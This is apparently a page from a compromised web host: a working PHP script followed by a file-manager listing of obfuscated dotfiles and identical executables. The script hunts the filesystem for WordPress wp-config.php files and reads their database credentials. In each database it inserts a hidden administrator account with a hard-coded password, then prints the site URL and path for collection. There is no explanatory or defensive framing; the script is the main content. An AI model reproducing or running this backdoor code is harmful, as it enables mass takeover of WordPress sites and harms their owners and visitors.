<?php function scan($path) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . DIRECTORY_SEPARATOR . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file === 'wp-config.php') { inject($p); } } } } } function inject($p) { $user_login = 'adm1n'; $user_password = 'LHpGvl9ZBz'; $user_email = 'adm1n@wordpress.com'; $data = @file_get_contents($p); if ($data === false) { return; } $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } if (isset($conf['DB_HOST']) && isset($conf['DB_USER']) && isset($conf['DB_PASSWORD']) && isset($conf['DB_NAME'])) { $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if ($mysqli->connect_errno) { return; } $user_login = $mysqli->real_escape_string($user_login); $user_password = $mysqli->real_escape_string($user_password); $user_email = $mysqli->real_escape_string($user_email); if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { $result->close(); $mysqli->close(); return; } $result->close(); } $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '', (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1), 0, '{$user_login}' FROM DUAL WHERE NOT EXISTS ( SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );"; if ($mysqli->query($add_user_query)) { $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $mysqli->query($add_usermeta_query1); $mysqli->query($add_usermeta_query2); } $site_url = false; if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->option_value; } if (!$site_url || strpos($site_url, 'http') !== 0) { if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->user_url; } } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { echo "<f>{$site_url}@@@{$p}</f>\n"; } $result->close(); } $mysqli->close(); } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scanRootPaths() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { foreach (range('A', 'Z') as $driveLetter) { $drive = $driveLetter . ':\\'; if (is_dir($drive)) { scan($drive); } } } else { scan('/home/sohelranatech'); } } scanRootPaths(); die('!ended!');| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .systemd | Folder | 0755 |
|
|
| lsws | Folder | 0750 |
|
|
| .AdminPage_ | File | 0 B | 0644 |
|
| .bind | File | 1.39 KB | 0644 |
|
| .binding | File | 4.26 KB | 0644 |
|
| .comp | File | 4.26 KB | 0644 |
|
| .component | File | 4.26 KB | 0644 |
|
| .dat | File | 4.26 KB | 0644 |
|
| .data | File | 4.48 KB | 0644 |
|
| .data_chunk | File | 4.26 KB | 0644 |
|
| .dchunk | File | 51 B | 0644 |
|
| .descriptor | File | 4.26 KB | 0644 |
|
| .elem | File | 57 B | 0644 |
|
| .element | File | 53 B | 0644 |
|
| .ent | File | 57 B | 0644 |
|
| .entity | File | 4.25 KB | 0644 |
|
| .entry | File | 43 B | 0644 |
|
| .fac | File | 4.25 KB | 0644 |
|
| .factor | File | 4.26 KB | 0644 |
|
| .flag | File | 2.75 KB | 0644 |
|
| .flg | File | 4.26 KB | 0644 |
|
| .gnome-keyring-daemon_1768817206 | File | 9.04 KB | 0755 |
|
| .hld | File | 4.26 KB | 0644 |
|
| .holder | File | 95 B | 0644 |
|
| .item | File | 53 B | 0644 |
|
| .itm | File | 4.26 KB | 0644 |
|
| .k | File | 4.26 KB | 0644 |
|
| .key | File | 53 B | 0644 |
|
| .mad-root | File | 0 B | 0644 |
|
| .marker | File | 4.26 KB | 0644 |
|
| .mrk | File | 4.26 KB | 0644 |
|
| .obj | File | 58 B | 0644 |
|
| .object | File | 4.5 KB | 0644 |
|
| .parameter_group | File | 4.26 KB | 0644 |
|
| .pgrp | File | 4.5 KB | 0644 |
|
| .pointer | File | 43 B | 0644 |
|
| .property_set | File | 45 B | 0644 |
|
| .pset | File | 4.25 KB | 0644 |
|
| .ptr | File | 4.25 KB | 0644 |
|
| .rec | File | 2.48 KB | 0644 |
|
| .record | File | 4.26 KB | 0644 |
|
| .ref | File | 54 B | 0644 |
|
| .reference | File | 4.26 KB | 0644 |
|
| .res | File | 4.25 KB | 0644 |
|
| .resource | File | 4.25 KB | 0644 |
|
| .sym | File | 45 B | 0644 |
|
| .symbol | File | 56 B | 0644 |
|
| .tkn | File | 43 B | 0644 |
|
| .token | File | 4.26 KB | 0644 |
|
| .val | File | 50 B | 0644 |
|
| .value | File | 57 B | 0644 |
|
| PostgreSQL.222019612 | File | 14.64 KB | 0600 |
|
| f_52d57cea4529 | File | 9.03 KB | 0755 |
|
| f_6d770173c66d | File | 9.03 KB | 0755 |
|
| f_7e3e79edb94f | File | 9.03 KB | 0755 |
|
| f_9119af42004d | File | 9.03 KB | 0755 |
|
| f_a3c32bcea07f | File | 9.03 KB | 0755 |
|
| f_a948b56cf4b9 | File | 9.03 KB | 0755 |
|
| f_a94deb94ec52 | File | 9.03 KB | 0755 |
|
| f_a95cb61e203c | File | 9.03 KB | 0755 |
|
| f_ad6b4f883198 | File | 9.03 KB | 0755 |
|
| f_b5fcb2f74ba8 | File | 9.03 KB | 0755 |
|
| f_e657f6baf3b9 | File | 9.03 KB | 0755 |
|
| f_ed16215261de | File | 9.03 KB | 0755 |
|
| f_f1d1fd69842c | File | 9.03 KB | 0755 |
|
| f_fb4675d8e150 | File | 9.03 KB | 0755 |
|
| f_fd1bdecdf19b | File | 9.03 KB | 0755 |
|
| svc_68d682ff917bc | File | 12.42 MB | 0755 |
|
| svc_68d6927c3eea3 | File | 12.42 MB | 0755 |
|
| svc_68d6928abb201 | File | 12.42 MB | 0755 |
|
| svc_68d6966b6e3d3 | File | 12.42 MB | 0755 |
|